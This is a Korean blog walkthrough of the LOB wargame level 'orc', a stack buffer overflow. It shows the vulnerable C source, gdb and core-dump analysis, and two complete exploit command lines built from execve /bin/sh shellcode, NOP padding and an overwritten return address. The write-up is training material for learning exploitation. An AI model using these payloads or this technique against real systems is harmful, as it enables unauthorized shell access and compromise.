[LOB] goblin 문제 풀이!!!!
소스코드 화긴
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
오 코드가 좀 기네요...
음 egghunter로 환경변수를 초기화하고
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
48번째값이 \xbf가 아니면 프로그램이 종료되네요
이걸로 환경변수에 쉘코드를 넣는 방법과 RTL 방법이 불가능하네요
그렇다면 걍 buffer에 쉘코드를 넣고 RET에 buffer의 주소를 덮어쓰는 방법을 써보겠습니다
gate와 문제 풀이가 똑같으니 봐주시면 감사하겠습니다
https://qpalzm1029.tistory.com/34
[LOB] gate 문제 풀이!
와우 이번엔 LOB! FTZ를 끝냈다면 꼭 풀어야할 워게임이다 id : gate / pwd : gate로 로그인을 해준 후 명령창에 꼭 bash2라고 쳐준다 bash2를 입력해주는 이유는 \xff를 \x00으로 인식하는 오류를 피하기 위
qpalzm1029.tistory.com
gdb로 buffer의 주소를 알아보도록 하겠습니다
스택에서 저장되는 값의 주소를 알기 위해 main+194에 bp를 걸어줍니다
대충 44개를 입력 받아 스택 어디에 저장되는지 확인해보죠
아 아까 인자값이 \xbf여야 한다고 했죠?
그럼 \xbf를 아예 48개를 채워버립시다
성공적으로 실행됐네요
이제 스택을 확인해보죠
대충 RET 주소를 0xbffffab4로 해주죠
이제 페이로드를 작성해 봅시당
Payload = 쉘코드[25] + dummy[19] + 0xbffffab4
최종 페이로드 = ./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\xb0\xfa\xff\xbf"')
이번에도 RET 주소가 바뀌었나 보네요..
tmp에 가서 다시 실행해보죠
core가 생성됐네요 함 분석해봅시다
함 1000개 정도 살펴보죠
잘 보면 쉘코드 값과 dummy값이 들어간 곳이 보이네요
이번엔 RET 주소를 0xbffffc50으로 해주겠습니다
흠 이번엔 Illgeal instruction이 뜨네요..
그렇다면 다른 방법으로 풀어보도록 하죠
바로 스택 영역에서 RET이 저장된 뒷공간을 이용하는 방법입니다
그렇다면 RET를 덮어줄 뒷공간에 주소가 필요합니다
gdb 고고
아까는 buffer의 주소만 알면 돼서 48bytes만큼만 채워 넣었지만 이번에 뒷공간의 주소를 알기 위해 100bytes만큼의 dummy값을 넣어보죠
와우 저게 바로 뒷공간이네요
대충 RET 주소를 0xbffffc14로 해주고 RET을 덮어준 다음 RET에서 뒷공간의 주소를 호출하고 쉘을 실행하기 위해 쉘코드를 넣어줍니다
이제 페이로드를 함 짜봅시다
Payload = dummy[44] + 0xbffffc14 + dummy[100] + 쉘코드[25]
최종 페이로드 = ./orc $(python -c 'print "\x90"*44 + "\x14\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
플래그 겟또다제!